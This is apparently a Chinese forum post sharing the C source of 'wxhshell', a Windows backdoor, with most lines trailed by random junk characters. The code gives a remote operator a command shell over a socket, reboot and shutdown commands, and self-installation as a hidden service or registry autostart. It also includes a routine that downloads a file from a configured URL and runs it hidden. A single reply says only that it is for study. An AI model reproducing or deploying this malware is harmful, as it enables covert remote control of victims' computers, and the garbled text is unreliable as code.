8_xLl2  
    switch(cmd[0]) { ;%zC@a~{  
  ^%#grX#  
  // 帮助 'Kz9ygZy  
  case '?': { {'R)4hL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'jvpNn  
    break; rWQY?K@  
  } 8Xn!Kpa  
  // 安装 9.&mz}q  
  case 'i': { f z}?*vPW  
    if(Install()) uGCp#>+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L"vj0@n'0  
    else SW9fE :v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  t;47(U  
    break; iiNSDc  
    } `.^ |]|u  
  // 卸载 !>g:Si"  
  case 'r': { ;>ozEh#8w  
    if(Uninstall()) s".HEP~]=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5=Lq=,K$  
    else 8&E}n(XE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C6QbBo  
    break; js <Ww$zFW  
    } z~Na-N  
  // 显示 wxhshell 所在路径 ]b}B2F'n  
  case 'p': { &erm`Ho  
    char svExeFile[MAX_PATH]; DDw''  
    strcpy(svExeFile,"\n\r"); (-"`,8K 2}  
      strcat(svExeFile,ExeFile); pbn\9C/  
        send(wsh,svExeFile,strlen(svExeFile),0); *H2]H @QHN  
    break; '*!L!VJ  
    } IOEM[zhb$  
  // 重启 ;/sHWI f+Z  
  case 'b': { Cs1>bpY*R6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =+oZtP-+o  
    if(Boot(REBOOT)) ai^|N.!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S>f&6ZDNY(  
    else { g}Q x`65:  
    closesocket(wsh); 4~|<` vqN  
    ExitThread(0); x-_vl 9P)  
    } cm@;*  
    break; KCtX $XGL  
    } WzlC*iv  
  // 关机 I>"Ci(N  
  case 'd': { A6p`ma $L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {a "RXa  
    if(Boot(SHUTDOWN)) &]iKr iG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mEDpKWBk  
    else { edpW8eND  
    closesocket(wsh); g>0vm2|  
    ExitThread(0); c K<)$*  
    } P))^vUt~  
    break; MCYl{uH!  
    } JwP:2-o  
  // 获取shell Yx%bn?%;&  
  case 's': { !B^K[2`)N  
    CmdShell(wsh); 1"]P`SY$r  
    closesocket(wsh); wahZK~,EaY  
    ExitThread(0); 9l !S9d  
    break; ?[TW<Yx  
  } 8^ #mvHah  
  // 退出 >D _F!_  
  case 'x': { &drFQ|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LWmB, Zf/  
    CloseIt(wsh); KoHGweKl#  
    break; rt!r2dq"  
    } V4K'R2t  
  // 离开 f)6))  
  case 'q': { -dRFA2 Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M-MKk:o  
    closesocket(wsh); (tCib 4  
    WSACleanup(); hbfq]v*X  
    exit(1); Zb(t3I>n  
    break; srmKaa|  
        } I}.i@d'O  
  } ISNcswN#  
  } ^v :Zo  
aj8Rb&  
  // 提示信息 wNDbHR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kb #^lO  
} AsxD}Nw[Z*  
  } o8S"&O ?  
ct n, ]ld  
  return; BIMKsF Zt  
} h9CIZU[Nh  
+ ^ yq;z  
// shell模块句柄 *'8LntZf  
int CmdShell(SOCKET sock) VmvQvQ/9R  
{ 3V;gW%>  
STARTUPINFO si; t;O1IMF  
ZeroMemory(&si,sizeof(si)); I/uy>*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8r:M*25  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \b8\Ug~t  
PROCESS_INFORMATION ProcessInfo;  .i/m  
char cmdline[]="cmd"; ;YH[G;aJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A lwtmDa  
  return 0; -9+se  
} Z4q~@|+%  
U A-7nb  
// 自身启动模式 }Dfwm)]Q  
int StartFromService(void) <hvRP!~<)  
{ 1>pe&n/  
typedef struct !Q %P%P<$  
{ Q{y{rC2P  
  DWORD ExitStatus; q``wt  
  DWORD PebBaseAddress; }[!92WS/ee  
  DWORD AffinityMask; T|){<  
  DWORD BasePriority; 6X_\Ve  
  ULONG UniqueProcessId; %1}6q`:w  
  ULONG InheritedFromUniqueProcessId; "(TkJbwC[  
}   PROCESS_BASIC_INFORMATION; g8pO Lr'  
i[nF.I5*f  
PROCNTQSIP NtQueryInformationProcess; X0$@Ik  
kgW @RD|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !1Y&Y@ze  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b"CAKl  
<~"lie1  
  HANDLE             hProcess; Poy^RpnX  
  PROCESS_BASIC_INFORMATION pbi; |g&ym Fc  
s"~5']8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P LR0#).n  
  if(NULL == hInst ) return 0; &|o$=Ad  
h*l&RR:i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W!la-n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1mgLX_U9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !m y8AWO'  
r o\1]`6  
  if (!NtQueryInformationProcess) return 0; /@YCA}|/  
J"CJYuGW,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <"tDAx  
  if(!hProcess) return 0; WlVl[/qt  
pGGmA;TC1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?S[Y:<R{:  
QU5Sy oL[  
  CloseHandle(hProcess); >fs2kha  
#1/}3+=5B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gNj7@bX~  
if(hProcess==NULL) return 0; SN Y (*  
$dg9z}D  
HMODULE hMod; c:hK$C)T  
char procName[255]; Gt-UJ-RR y  
unsigned long cbNeeded; $:bih4 @>  
a)s;dp}T%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {=Q7m`1  
_GA$6#]  
  CloseHandle(hProcess); ([E]_Q  
2}WDw>V  
if(strstr(procName,"services")) return 1; // 以服务启动 \;9W.d1iU  
u=NG6 G  
  return 0; // 注册表启动 -,# +`>w  
} !{UTD+|=N  
&0 \ ci9o  
// 主模块 ~)X[(T{  
int StartWxhshell(LPSTR lpCmdLine) %w}gzxN^  
{ wS XVyg{  
  SOCKET wsl; 5J.0&Dda  
BOOL val=TRUE; )e%}b -I'r  
  int port=0; !]koSw}  
  struct sockaddr_in door; @F5f"8!.\  
q9*MNHg }  
  if(wscfg.ws_autoins) Install(); 4 J^Q]-Z  
k4\UK#ODe  
port=atoi(lpCmdLine); 4{na+M  
S\x=&Rz  
if(port<=0) port=wscfg.ws_port; p9[6^rjx8  
> s EjR!  
  WSADATA data; Frm;Ej3?$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .qD@ Y3-  
p3x?[ Ww  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yi6N-7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O<*5$,K9  
  door.sin_family = AF_INET; b$JBL_U5Ch  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2KJ1V+g@a6  
  door.sin_port = htons(port); p~jlx~1-]  
&X>7n~@0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5f7zk  
closesocket(wsl); a:Q[gF8>  
return 1; Z|m`7xeCy  
} 5Jk<xWKj  
p .K*UP  
  if(listen(wsl,2) == INVALID_SOCKET) { *VeW?mY,P  
closesocket(wsl); 9U_ks[Qa  
return 1; %&blJ6b  
} I["j=r  
  Wxhshell(wsl); Qu\@Y[eia5  
  WSACleanup(); l?qqqB  
JAb6zpP  
return 0; hf<J \   
QfpuZEUK  
} Hh[Tw&J4  
]!"S+gT*C  
// 以NT服务方式启动 =t0tK}Y+4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1T|$BK@)  
{ 4`v!Z#e/aX  
DWORD   status = 0; LDj<?'  
  DWORD   specificError = 0xfffffff; hlbvt-C?}"  
WrGK\Vw[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jA(vTR.`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5]Da{Wmgs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .IrNa>J~  
  serviceStatus.dwWin32ExitCode     = 0; H=c`&N7E  
  serviceStatus.dwServiceSpecificExitCode = 0; ;O#g"8  
  serviceStatus.dwCheckPoint       = 0; NTs7KSgZ  
  serviceStatus.dwWaitHint       = 0; vp)Vb^K>  
/YKMKtE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OYL]j{  
  if (hServiceStatusHandle==0) return; E#%}ZY  
J >0b1  
status = GetLastError(); 9q[;u[A8^  
  if (status!=NO_ERROR) W[''Cc.  
{ !7p}C-RZp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2b@tj 5  
    serviceStatus.dwCheckPoint       = 0; z}4L=KR\v  
    serviceStatus.dwWaitHint       = 0; wTq{sW&  
    serviceStatus.dwWin32ExitCode     = status; n.6T OF  
    serviceStatus.dwServiceSpecificExitCode = specificError; iAn'aW\TF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gpj* V|J  
    return; pHE}ytcT  
  } Yc Q=vt{  
K`%tGVY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0HeD{TH\  
  serviceStatus.dwCheckPoint       = 0; \.{AAj^qD  
  serviceStatus.dwWaitHint       = 0; v({N:ya  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %Q"(/jm?  
} P7 yq^|  
q3e8#R)l  
// 处理NT服务事件,比如:启动、停止 } (FPV*mS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r`'y?Bra;  
{ R=)55qu  
switch(fdwControl) wD \ZOn_J  
{ f>9s!Hpu_  
case SERVICE_CONTROL_STOP: ?? qq:`s  
  serviceStatus.dwWin32ExitCode = 0; ^c}J,tZ]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TV59(bG.2  
  serviceStatus.dwCheckPoint   = 0; s<QkDERMX  
  serviceStatus.dwWaitHint     = 0; r4}*l7Q  
  { -b;|q.!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); . )XP\ m\  
  } @I3eK^#|P  
  return; q1VH5'p@  
case SERVICE_CONTROL_PAUSE: b{M7w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \fWW'  
  break; 'cZN{ZMWG  
case SERVICE_CONTROL_CONTINUE: 4\otq%Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0$.m_0H  
  break; |Bo .4lX  
case SERVICE_CONTROL_INTERROGATE: _s.;eHp,  
  break;  \[:/CxP  
}; n| !@1sd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !vD{Df>  
} I~* ? d  
( <*e  
// 标准应用程序主函数 El2e~l9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M" lg%j  
{ 3.Gj4/f  
/s:fW+C  
// 获取操作系统版本 "hz\Z0zg2  
OsIsNt=GetOsVer(); \Gp*x\<^Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JC?N_kP%W  
^]C&tG0 !  
  // 从命令行安装 ]88];?KS}  
  if(strpbrk(lpCmdLine,"iI")) Install(); !c#]?b%  
V7Yaks  
  // 下载执行文件 kJ:F *34e=  
if(wscfg.ws_downexe) { U/{6% Qy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Zi\['2CG  
  WinExec(wscfg.ws_filenam,SW_HIDE); W-~n|PX8+  
} c:!zO\P#  
/'.=sH  
if(!OsIsNt) {  :nY 2O  
// 如果时win9x,隐藏进程并且设置为注册表启动 N 5zlT  
HideProc(); Y]|:?G7l]  
StartWxhshell(lpCmdLine); [/ M^[p  
} E6B!+s!]  
else 9O.YOiW  
  if(StartFromService()) uGN^!NG-0  
  // 以服务方式启动 XM1`x  
  StartServiceCtrlDispatcher(DispatchTable); qO1tj'U<  
else \00DqL(Oj`  
  // 普通方式启动 ~V=<3X  
  StartWxhshell(lpCmdLine); q% >'4_  
aolN<u3G  
return 0; KW^<,qt5w  
}
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只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
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